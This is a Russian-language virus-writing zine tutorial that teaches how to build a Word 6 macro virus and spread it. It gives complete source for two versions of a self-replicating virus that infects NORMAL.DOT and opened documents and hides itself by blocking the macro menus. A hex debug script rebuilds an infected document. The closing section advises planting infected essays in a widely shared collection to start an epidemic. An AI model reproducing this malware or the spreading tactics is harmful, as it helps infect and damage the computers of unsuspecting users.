─[HOW TO WRITE AND DISTRIBUTE WORD MACRO VIRII]─────────────────────[MONGOOSE]─


   вступление

    Незнаю почему, но я решил попробовать написать макро вирус (хотя я ненави-
 жу макро и  макрушников), наверное потому что мои попытки написать скрипт ви-
 рус под Телегард окончились неудачей, а vbasic немного похож на Телегаровский
 язык. ;-) Т.к. я  никогда не писал даже на бейсике мне пришлось сидеть и изу-
 чать синтаксис и команды vb. Въезд в vb и написание первого (нормально) рабо-
 тающего макро-вируса  заняло у меня около 4-5 часов. Мне очень помог туториал
 Serialkiller'а из журнала VX United.


   "туториал"

    Макросы созданы для того, чтобы облегчить жизнь пользователей, с экономить
 их время.  При работе часто приходится выполнять последовательность  одних  и
 тех же действий (выполнять те или иные комманды,  открывать меню). Вместо то-
 го, чтобы каждый раз нажимать одну и ту же последовательность  клавиш,  можно
 написать/записать макрокоманду, которая будет выполняться нажатием одной кла-
 виши.

    Существует несколько "специальных" макросов, которые запускаются автомати-
 чески когда  ТЫ  выполняешь некоторые операции (включаешь Word или открываешь
 документ). Вот список этих макросов:

    AutoExec    Срабатывает при запуске Word'а
    AutoNew     Срабатывает при создании нового документа
    AutoOpen    Срабатывает при открытии уже существующего документа
    AutoClose   Срабатывает при закрытии документа
    AutoExit    Срабатывает при выходе из Word'а

    Напоминает резидентные вирусы, они WM активны пока активен редактор.

    На мой  взгляд  проще  всего писать вирус который будет заражать документы
 при открытии. Задите в меню "сервис" (tools) и выполните команду "макрокоман-
 да" (macro).  Введите имя макрокоманды - AutoOpen и выберите "создать" (crea-
 te). Пока макрос состоит только из двух строк:

    Sub MAIN
    End Sub

    Между этими строчками мы и будем писать наш вирус.

    Вот пример простого макро вируса,  который заражает NORMAL.DOT и документы
 при их открытии (не содержит проверки на зараженность). BTW, советую  сделать
 резервную копию вашего NORMAL.DOT'а.

────[MOCKBA.BAS]─────[START]───────────────────────────────────────────────────
Sub MAIN                                             
     
On Error Resume Next                   'Exit on error

f$ = FileName$()                       'Active file name
m$ = FileName$() + ":AutoOpen"         'Active file name + macros AutoOpen
d$ = DefaultDir$(2) + "\NORMAL.DOT"    'Path to NORMAL.DOT
i$ = "MOCKBA version 0.90 by Mongoose [Misdirected Youth]"

If GetAttr(d$) <> 0 Then Goto Del      'If NORMAL.DOT have attributes remove it
                                       'besides Archive

'Copy macros AutoOpen from active file name to NORMAL.DOT
Organizer .Copy, .Source = f$, .Destination = d$, .Name = "AutoOpen", .Tab = 3

FileSaveAs .Format = 1                 'Save as document template
MacroCopy "AutoOpen", m$               'Copy AutoOpen to file name

End Sub
────[MOCKBA.BAS]─────[END]─────────────────────────────────────────────────────

    Принцип работы вируса:

   1. Вирус находит NORMAL.DOT и если файл  защищен  аттрибутами  то  пытается
      снять их (аттрибуты)
   2. Используя функцию Organizer оно переносит макрос AutoOpen (зараженный) в
      NORMAL.DOT
   3. Затем оно переносит зараженный макрос (AutoOpen) в файл (используя  ком-
      манду MacroCopy)

    Описание функций которые использовались в этом вирусе:

   1. FileName$([Number])

    FileName$() - путь и имя открытого файла
    FileName$([1-4]) - путь и имя одного из 4 "часто используемых" файлов.

   2. DefaultDir$(Type)

    Путь к каталогу указаному в "Type"

    Type        0 - путь к документам
                1 - путь к картинкам
                2 - путь к DOT-файлам
                ...

   3. GetAttr(Filename$)

    Возвращает аттрибуты принадлежащие файлу Filename$.

    Значение    Аттрибут
    ────────────────────────────────────
    0           Чистый (без аттрибутов)
    1           Read Only
    2           Hidden
    4           System
    32          Archive

   4. Organizer [.Copy,][.Delete,][.Rename,][.Source=text,][.Destination=text]
      .Name=text [,.NewName=text][,.Tab=number]

    Удаляет, переименовывает или копирует стили,  AutoText, toolbars и макросы
 (то что надо =).

    Аргумент    Описание
    ───────────────────────────────────────────────────────────────────────────
    .Copy       Копирует _предмет_ из "source" в "destination"
    .Delete     Удаляет _предмет_ из "source"
    .Rename     Переименовывает _предмет_ из "source"
    .Source     Имя документа содаржащее _предмет_ который нужно переименовать,
                удалить...
    .Name       Предмет - имя стиля, макрокоманды... который  вы хотите копиро-
                вать
    .NewName    Новое имя _предмета_; используется при .Rename
    .Tab        Тип _предмета_ который вы хотите копировать, удалить...:
                0   Styles
                1   AutoText
                2   Toolbars
                3   Macros

   5. MacroCopy [Template1:]Macro1$, [Template2:]Macro2$ [, ExecuteOnly]

    Копируем макрос из одного шаблона в другой.

    Аргумент    Описание
    ───────────────────────────────────────────────────────────────────────────
    Template1   Открытый шаблон содержащий макрос который нужно копировать
    Template2   Открытый шаблон в который будет копироваться макрос
    Macro1$     Имя макроса который нужно скопировать
    Macro2$     Имя макроса в который нужно будет скопировать первый макрос

    Этот вирус легко обнаруживается и  удаляется,  это очень большой минус. Но
 реализация _упрощеных_ стелс  алгоритмов в WM вирусах является наверное одной
 из самых простых задач. Вирус может  блокировать вызов меню Tools/Macro (мак-
 рос ToolsMacro) или File/Templates (макрос FileTemplates).  Т.е. проще говоря
 наш вирус будет носить с собой еще два макроса.  Содержимое этих макросов мо-
 жет выглядеть примерно так:

    Sub MAIN
    MsgBox "Please register your WinWord!", 32
    End Sub

    Ниже представлена  моя последняя разработка в области Word Macro - "стелс"
 вирус MOCKBA version 0.91. Вирус состоит из трех макросов:

    AutoOpen      - инсталяция, заражение NORMAL.DOT и открываемых документов
    ToolsMacro    - используется в "стелс механизме"
    FileTemplates - используется в "стелс механизме" и как признак зараженности

════[MOCKBA91.BAS]═══[START]═══════════════════════════════════════════════════
────[AutoOpen]───────[START]───────────────────────────────────────────────────
Sub MAIN
On Error Resume Next                   'Exit on error

d$ = DefaultDir$(2) + "\NORMAL.DOT"    'Path to NORMAL.DOT
info$ = "MOCKBA version O.91 by Mongoose [Misdirected Youth]"

'───[If NORMAL.DOT have attributes remove it, besides archive]─────────────────
If GetAttr(d$) < 32 Then Goto Del
'───[Copy macros AutoOpen from active file name to NORMAL.DOT]─────────────────
Organizer .Copy, .Source = FileName$(), .Destination = d$,
 .Name = "AutoOpen", .Tab = 3
'───[Copy macros FileTemplate from active file name to NORMAL.DOT]─────────────
Organizer .Copy, .Source = FileName$(), .Destination = d$,
 .Name = "FileTemplates", .Tab = 3
'───[Copy macros ToolsMacro from active file name to NORMAL.DOT]───────────────
Organizer .Copy, .Source = FileName$(), .Destination = d$,
 .Name = "ToolsMacro", .Tab = 3
'───[Check if ill (check for macros FileTemplates in file)]────────────────────
Ill = CountMacros(0)                   'Get number of macros
If Ill > 0 Then                        'Continue if there some macros
 For i = 1 To Ill
  If MacroName$(i, 1) = "FileTemplates" Then Infected = 13
 Next i
End If
'───[Infect document if healthy]───────────────────────────────────────────────
If Infected <> 13 Then                 'If INFECTED == 13 => file ill
 FileSaveAs .Format = 1                'Save as document template
 MacroCopy "AutoOpen", FileName$() + ":AutoOpen"
 MacroCopy "FileTemplates", FileName$() + ":FileTemplates"
 MacroCopy "FileTemplates", FileName$() + ":ToolsMacro"
End If
End Sub
────[AutoOpen]───────[END]─────────────────────────────────────────────────────
────[ToolsMacro]─────[START]───────────────────────────────────────────────────
Sub MAIN
MsgBox "Please register your Microsoft Word", 32
End Sub
────[ToolsMacro]─────[END]─────────────────────────────────────────────────────
────[FileTemplates]──[START]───────────────────────────────────────────────────
Sub MAIN
MsgBox "Please register your Microsoft Word", 32
End Sub
────[FileTemplates]──[END]─────────────────────────────────────────────────────
════[MOCKBA91.BAS]═══[END]═════════════════════════════════════════════════════

    Для ленивых - дебаг скрипт вируса:

────[MOCKBA91.SCR]───[START]───────────────────────────────────────────────────
N MOSCOW91.ZIP
E 0100 50 4B 03 04 14 00 00 00 08 00 C7 A1 9A 26 36 28 
E 0110 69 57 91 09 00 00 00 3C 00 00 0C 00 00 00 4D 4F 
E 0120 53 43 4F 57 39 31 2E 44 4F 43 ED 5A 7F 6C 13 D7 
E 0130 1D FF DE 9D 9D 38 8E 93 98 B0 50 02 03 8E 12 12 
E 0140 DA 40 16 28 3F 46 DA AE B9 D8 17 E2 E2 F3 99 F3 
E 0150 99 40 07 DB 42 7C 04 67 CE 99 D9 49 D7 20 4D A4 
E 0160 AA F6 AB A3 83 69 3F B4 FE 31 6D 48 B0 0D 4D 9A 
E 0170 D4 51 A9 FD A3 6A D1 D4 4D 95 B6 69 6D C7 24 A6 
E 0180 55 2C 8C A1 A6 25 49 4B 5A B5 DB DA C6 7B DF 7B 
E 0190 BE 70 3E 12 C7 40 29 0B F8 13 BE FE DE FB BE EF 
E 01A0 FB 79 EF BE EF FB DE 97 97 FF 3C 6F F8 E8 53 8B 
E 01B0 CE 81 0D 9F 03 0E 26 33 65 50 62 91 31 56 05 2F 
E 01C0 10 0D 2A 9B CC 64 32 66 7E A6 88 39 05 05 92 E4 
E 01D0 AF 1F 78 10 41 27 3C 05 83 F6 A5 90 17 0B C0 39 
E 01E0 F5 CE 71 3D 40 19 6B C8 4F D1 EC F6 1C E5 DE C6 
E 01F0 D3 99 C3 CF 33 9F 22 8F 43 D9 85 C5 80 8F B4 DF 
E 0200 07 FB 41 86 3D D0 7B 55 6D 23 AA 81 65 AC E3 29 
E 0210 B4 9C 9E E5 9D A4 F5 14 C4 C0 4F 78 37 0C 90 9E 
E 0220 68 C6 3C 14 8A 45 D9 F6 1D 40 D7 7E 21 65 4A 09 
E 0230 3D E9 A5 CF 74 D4 1A 69 BB 1F C2 C6 BB 48 14 52 
E 0240 C5 14 16 00 C3 E0 77 87 B3 3E 53 FB A7 1E F8 DA 
E 0250 E0 7F 0F 3F CF 98 DC 9A 87 E5 3E 22 E5 26 2D 84 
E 0260 AF 06 C7 E3 22 54 46 C8 4D A8 9C 90 07 70 BC F9 
E 0270 BF 71 E7 0C F9 8B 89 FC D3 40 6D 45 11 FF 3F 70 
E 0280 42 C4 58 F5 7D D0 65 7C FB 01 D0 61 AF F1 4D A0 
E 0290 A4 1F E2 E4 59 CF B3 FE 56 01 9B F3 BE F3 A8 4E 
E 02A0 A1 8A D0 73 6C 21 9A 85 E1 6A DB FF B8 31 97 DB 
E 02B0 37 F7 EF 6B 81 97 94 9D 07 68 83 01 E6 13 42 BB 
E 02C0 5E 03 68 93 00 EE 20 B4 90 50 ED 75 D4 5F C4 8D 
E 02D0 47 2A C6 6F 6C 6A BE BC 1E B8 02 D6 CC 52 A0 FB 
E 02E0 C6 3D 79 74 0A A9 E7 96 00 19 28 43 A8 06 07 3C 
E 02F0 F9 71 56 FC C9 40 74 9B 4F 2C 19 0A 43 FE 9E 75 
E 0300 D1 B4 C9 67 2A 61 72 D9 93 9B 3E E0 CA E5 33 D5 
E 0310 63 CA ED F5 D9 B9 BD 1E 7B 3A E1 9E BE FE EF BA 
E 0320 A8 07 F3 23 F2 53 69 29 37 13 C7 FA 9E 60 2E D7 
E 0330 87 ED 37 58 FA 71 63 50 51 0D C7 1E 6B 3A FE 92 
E 0340 F0 F3 E3 25 BF D8 C4 FE F2 71 E7 89 C7 9D 57 51 
E 0350 7E 32 03 C0 7D F1 4A 39 DA F5 E1 AF FF 74 E2 3F 
E 0360 F2 3E EF AF BE E7 82 C6 86 93 7F 6B 26 B2 43 2C 
E 0370 69 13 A8 0F FA 63 A0 7E DE 6B 40 67 0A 0B E1 CB 
E 0380 AC 63 A8 BF D7 C1 50 DD 04 43 F7 EC 23 8C 71 EC 
E 0390 83 A7 19 EA 13 9E 61 A8 ED FF 90 A1 33 CC B3 D4 
E 03A0 5F F4 B3 74 3F D8 97 E5 D8 E6 E1 4B E7 7F 77 F2 
E 03B0 0B 67 4F 7C B4 B9 FB A1 EA FB 9F FB E1 A9 BF 3F 
E 03C0 78 60 DD 4F 5E 7D A1 F6 D0 32 38 F8 F0 2B F7 A1 
E 03D0 4D 59 46 C8 D7 B2 AB 33 10 EA 94 15 FF 2E 55 94 
E 03E0 C2 41 41 15 77 85 64 45 12 82 4D 7E 59 CD 3F 17 
E 03F0 58 07 F6 B3 3D D5 A5 7F 99 EF D0 74 5D 4B A7 6D 
E 0400 C7 99 42 74 5A F1 C7 AD FF 63 F1 91 5C 5F F9 0A 
E 0410 9D 53 C7 76 7E E7 99 B3 F9 75 9E 5E A3 2C CF 53 
E 0420 4F 21 76 B2 10 9D D6 02 74 70 EC F8 3E A4 78 77 
E 0430 2A 99 4E EE ED E7 3B 93 AF 1D D7 60 C3 A9 5A 07 
E 0440 C0 4A D0 AC CA 59 BB 66 9E 53 AC 98 71 30 56 B8 
E 0450 00 0E 58 78 45 39 15 E7 E3 E8 3F 6C CA A6 0B E1 
E 0460 B8 06 85 2C 37 E5 BF AF C2 33 15 C0 D6 6C FA 5A 
E 0470 79 C6 03 F0 0A E1 2F 57 D0 B4 95 E3 59 E6 22 E1 
E 0480 A7 09 7F A1 92 F2 EF 57 D1 F9 AD F1 02 E0 32 8D 
E 0490 13 DE 4C F8 53 55 D4 27 B2 C3 1C F7 19 8F 29 31 
E 04A0 ED AF BD 27 76 98 25 4C 8E 2D 58 D3 F6 99 9D A9 
E 04B0 9E AD B6 1E CC C4 ED F5 D8 D3 19 CF F4 F5 2F 2F 
E 04C0 A7 56 E5 AE 72 6A 1D 66 5B 01 58 1F DA DF 8C A5 
E 04D0 FD 06 4B 3F 6E 0C AE D7 FE CE 79 58 FC 17 DC 09 
E 04E0 8D B7 31 39 39 07 3D 99 22 AE 16 EC 00 E3 30 DF 
E 04F0 FF 24 30 C7 56 56 16 64 D9 8B B8 45 C0 90 7F 95 
E 0500 50 05 2E DC 75 80 6E 23 F5 00 AD 97 32 2C E1 EE 
E 0510 3F 8D BF 3D 3A 7C F1 C3 B1 0F DE 30 4E 7B E5 10 
E 0520 7D 74 37 07 5D B5 8E EE 85 D3 D5 56 0F 42 EB 44 
E 0530 E6 28 E1 B5 67 DE 1E 79 77 82 1F 3E F7 FA F0 7B 
E 0540 C3 FC 5B E3 FC 3B A3 E3 17 DF 1F 1E 1B C9 B1 2A 
E 0550 0C C4 16 C7 1D 92 10 08 C5 56 AF 59 58 AF CF 8F 
E 0560 C5 D9 58 9D A7 E7 D0 A3 CE 04 0B 25 A5 BD E5 16 
E 0570 C7 4F 77 C4 E2 CE B8 BE 37 59 E7 E9 BD 47 92 7D 
E 0580 5B DB 04 FE 61 2D 95 8E 27 75 5E 6E DA BC 96 DF 
E 0590 33 C8 4B 49 BD 27 99 4C 6B FC E7 A5 78 3A 16 4F 
E 05A0 69 DD FD 5A 8C DF 99 1C E8 DF B7 3B B6 A4 A7 EA 
E 05B0 51 27 36 50 52 99 E0 61 E9 DD 71 CE AF 25 62 3D 
E 05C0 67 21 FD 4D B6 3A 7D 10 3C 3D 2B 87 9C 25 D5 E9 
E 05D0 6F 80 07 B5 AA D3 0C 78 7A 5D C2 40 7F 52 DE AF 
E 05E0 E9 D5 E9 C3 9C 27 C1 C1 6C 05 2A DA E3 09 4D D5 
E 05F0 FA F6 27 BA FA B5 74 A1 A5 DC 6A 32 99 48 4B 5D 
E 0600 DD A9 E4 54 91 38 17 48 24 3C 3D CF 0C 39 13 00 
E 0610 25 FA FC D8 12 43 52 45 52 4B F5 85 B1 6D 2B E2 
E 0620 4C DC 93 60 A0 CE 10 C7 74 76 49 CF B3 43 4E 22 
E 0630 AC 26 C2 12 7B 4F 96 C6 5D 01 7D AF 31 21 9E 44 
E 0640 05 C4 B6 D5 13 CD D8 A2 25 A4 D6 A9 8C 0A 92 B1 
E 0650 54 9F 17 DB D6 A3 42 FA 0F 80 95 EB 5E 92 FA ED 
E 0660 90 65 1E 8C EE 97 F6 96 B5 98 12 AA 60 1B 77 56 
E 0670 AB B2 25 47 9C 4F B5 BC E5 F2 1C 60 BF 16 2D B6 
E 0680 2C 8F 9E C6 A1 DE 15 E1 84 D6 95 D6 F8 94 D6 13 
E 0690 4F F7 6B 29 7E 30 39 90 E2 AD 9E 6C 2A 56 9D E0 
E 06A0 E1 BA 4A 66 3F 0A 60 0D 93 48 2F 36 19 70 F0 F8 
E 06B0 6B E6 65 C1 D1 AD 92 9D DA 40 39 78 82 B9 E3 5F 
E 06C0 E7 DF 1F 1D BD 74 F4 DE E6 47 56 AC 69 6C 68 68 
E 06D0 F8 52 D3 EA D5 8A 0F 4A 84 A8 DA 21 2B 2E 9F 2C 
E 06E0 49 62 48 8D B8 7D 8A 28 A8 A2 9F 90 4B F4 07 54 
E 06F0 35 20 89 AE F6 40 50 0C 09 D9 87 48 E0 21 D1 B5 
E 0700 55 DC 89 07 A1 48 79 50 88 A8 11 61 BB E8 6F DB 
E 0710 E9 0A 45 25 5F 87 A0 44 F0 21 2C 6C 11 8D 07 43 
E 0720 AD 2C AC 04 42 2A 56 5A 4A 9E B6 13 CE 2A FE 12 
E 0730 45 DC 4E 14 5C 46 71 CC 8A 44 DB 1E 14 7D 2A AB 
E 0740 FA 5C 78 C0 FA 24 E3 3F 3F 3B 3D FF D5 A9 F8 8F 
E 0750 97 CA 6E C7 F8 0F CE D0 A6 EC 79 E2 66 C7 7F AE 
E 0760 E5 CE 10 77 0A 6B CC 08 CF 37 78 AE 34 EF 82 8B 
E 0770 F7 BF 73 07 C5 F8 CF F5 63 2E B7 6F C6 7F D0 76 
E 0780 A3 0D C3 B3 2F C6 7F F1 7E 70 BA F8 2F 9A 2D 3C 
E 0790 CD 63 1C D8 0B 85 C7 7F CC F8 EF 12 A0 F7 24 78 
E 07A0 D7 C7 13 5A 4E E8 4E 42 2B 08 D5 01 DE 42 19 3E 
E 07B0 A8 71 F2 5F 45 E8 2E 42 77 13 6A 24 B4 9A D0 1A 
E 07C0 42 4D 84 3E 03 F4 7E 65 2D A1 75 40 63 11 EB 09 
E 07D0 6D 20 B4 91 D0 26 42 9F 25 B4 99 50 0B A1 7B 09 
E 07E0 DD 47 E8 7E C0 FF DB 02 F0 00 D0 3B 33 01 6E 6F 
E 07F0 FB 74 3D F1 9F 75 79 74 8A F1 9F B9 81 62 FC A7 
E 0800 18 FF 29 C6 7F 72 75 5A F1 E7 36 89 FF 30 30 99 
E 0810 E1 DC D9 B3 83 ED EC 86 FB F5 8B E3 6F BE 33 7A 
E 0820 61 6C C2 76 60 36 36 0D 5C 03 52 04 93 FE 64 B7 
E 0830 B1 32 F0 B9 89 24 06 FA 34 BD BF 69 23 BC BB F9 
E 0840 37 5F C9 DF A7 CB F1 A7 9A 69 E3 4F E6 39 C9 8A 
E 0850 6B 89 3F CD F6 F5 23 47 FF E5 58 36 5D 08 C7 F1 
E 0860 FF 3A CB 4D 79 CC 43 E3 4F 76 2B 7A B5 1C AD 10 
E 0870 BE 0D 3D 6B 7D AC 1C 7D A9 6F BB 69 DC 69 77 39 
E 0880 E5 6B 3D F4 FD 9E F4 D0 F8 53 69 05 F5 8F D0 3A 
E 0890 4F 17 7F 3A 30 83 55 2E A2 70 B0 03 0C 5B BC 3F 
E 08A0 BF 7D 71 73 EF CF B3 3D C8 5E 56 C2 2C 97 95 35 
E 08B0 DC 2D 70 59 89 DE 80 53 0D A8 41 91 DD 21 BA 85 
E 08C0 60 B8 43 68 13 D5 80 AF 44 50 84 B6 80 CF E1 13 
E 08D0 C2 11 97 4F 50 FC AA B8 43 75 63 CB ED E8 3A A8 
E 08E0 6E BF 1C 0C 0A 0A 4A 49 87 95 88 4A 14 B9 0E 71 
E 08F0 87 33 28 77 8A 4A B9 24 2A 5B 44 AA 59 4A FA 16 
E 0900 08 09 41 E4 A8 EE 54 64 49 08 39 A3 E1 B0 A8 70 
E 0910 42 5B 84 A4 A3 21 7F A9 5F 6C 0F 84 44 3F 47 86 
E 0920 C0 09 21 BF B3 5D 08 46 44 4E 12 76 70 52 20 C4 
E 0930 49 B2 BF 94 8C 40 21 03 76 FA 88 BE CA 85 64 95 
E 0940 95 15 32 52 D9 1F 25 C3 09 B4 3B 22 81 2D 21 2E 
E 0950 12 95 1C AA 12 15 1B A0 32 D7 1F A9 B1 B8 41 92 
E 0960 1C F1 C9 9D 4D 7E D9 97 69 15 F7 A7 93 3A DF BE 
E 0970 63 CD DA E6 E6 46 08 86 D5 B5 2D 20 86 23 72 68 
E 0980 33 E4 66 4D 03 07 E3 F8 01 B4 02 B7 97 3C 41 19 
E 0990 1C 34 4E 2B 0C B8 E0 11 C3 ED 3F 52 D8 B6 3A 2B 
E 09A0 AC CE 0A 43 DA 93 22 51 3F 70 B3 F5 6E C8 96 8E 
E 09B0 19 BF B7 E2 98 D8 A1 CB 7D 2A BD 42 89 F5 4E 35 
E 09C0 03 F4 48 06 E8 4F D4 2E 38 C2 FC 11 D4 78 9F 96 
E 09D0 E6 43 DA 57 79 25 D9 D7 A5 F3 BE C1 14 78 48 0E 
E 09E0 0B 91 C1 BE 3D C9 04 54 D5 A3 9A 90 8A 77 25 8C 
E 09F0 CC 9A 0D 98 F6 25 07 52 71 2D 65 14 44 E9 9D E8 
E 0A00 F4 BB BE B5 10 E0 45 16 E0 84 D1 D2 F9 D3 EB EB 
E 0A10 2B FF BA BE 9E B6 7A 25 1C F0 98 77 1A 71 16 75 
E 0A20 5C 73 F6 C9 B6 8E 6D C9 99 6B 28 E2 26 E1 76 37 
E 0A30 A9 0C 07 51 63 22 32 19 DC 22 97 B1 F4 FA 13 DD 
E 0A40 E3 A8 61 43 58 58 EF A4 57 88 28 7F D2 8D 72 FC 
E 0A50 2E 73 E5 7F 21 72 6F 14 A6 02 A5 0C E4 C6 39 19 
E 0A60 58 F5 D2 EB A3 17 C6 32 17 26 F8 E1 37 27 46 FE 
E 0A70 39 F6 C1 1B FC BF 87 CF 5D 1C 1F E3 47 F8 F1 B7 
E 0A80 DE 1B 19 C9 26 87 59 B0 C4 83 19 98 87 26 C0 25 
E 0A90 44 55 59 0E 8B 21 C0 5C 59 0E 46 24 C1 A7 C8 80 
E 0AA0 CD 04 82 A2 B9 37 46 A0 B8 43 D8 50 DC 21 6E C0 
E 0AB0 0E 31 DD 85 44 71 87 98 93 F8 1F 50 4B 01 02 14 
E 0AC0 00 14 00 00 00 08 00 C7 A1 9A 26 36 28 69 57 91 
E 0AD0 09 00 00 00 3C 00 00 0C 00 00 00 00 00 00 00 01 
E 0AE0 00 20 00 00 00 00 00 00 00 4D 4F 53 43 4F 57 39 
E 0AF0 31 2E 44 4F 43 50 4B 05 06 00 00 00 00 01 00 01 
E 0B00 00 3A 00 00 00 BB 09 00 00 00 00 
RCX
0A0B
W
Q
────[MOCKBA91.SCR]───[END]─────────────────────────────────────────────────────

   Теперь немного информации о работе вируса:

    Макросы ToolsMacro и FileTemplates используются для блокировки меню по ре-
 дактированию макросов (выводится сообщение "Please  register  your  Microsoft
 Word").

    Проверка на зараженность документа осуществляется следующим образом:

Ill = CountMacros(0) 'В Ill лежит кол-во макросов открытого файла
If Ill > 0 Then      'Если какие-то макросы найдены то продолжаем
 For i = 1 To Ill
  'Проверяем имя макроса, если оно  соответсвует FileTemplates, то Infected бу-
  'дет равняться 13'ти
  If MacroName$(i, 1) = "FileTemplates" Then Infected = 13
 Next i              'Продолжаем пока не проверим все макросы
End If

    P.S. Я проверял работу этого зверька на своем Ворде 6.0.


   идеи по распространению (или как попасть в wildlist russia)

    Несмотря на свою простоту макро-вирусы очень быстро (и хороше) распростра-
 няются. Как сделать так, чтобы вирус стал причиной эпидемии? Уже наверное все
 знают о московской коллекции рефератов, большинство из них написанно именно в
 word'е. Эта коллекция проходит по пидошным фехам, ее записывают  на cd-rom'ы.
 А почему бы вам не _помоч_ авторам коллекции? Напишите пару, тройку рефератов
 и заразите их  своим макро вирусом. Если вам повезет, то ваш  вирус осядет на
 только в ваших рефератах, но и компе автора коллекции, следовательно все пос-
 ледующие пополнения будут заразными.

                                     (c) mongoose, soldier of Misdirected Youth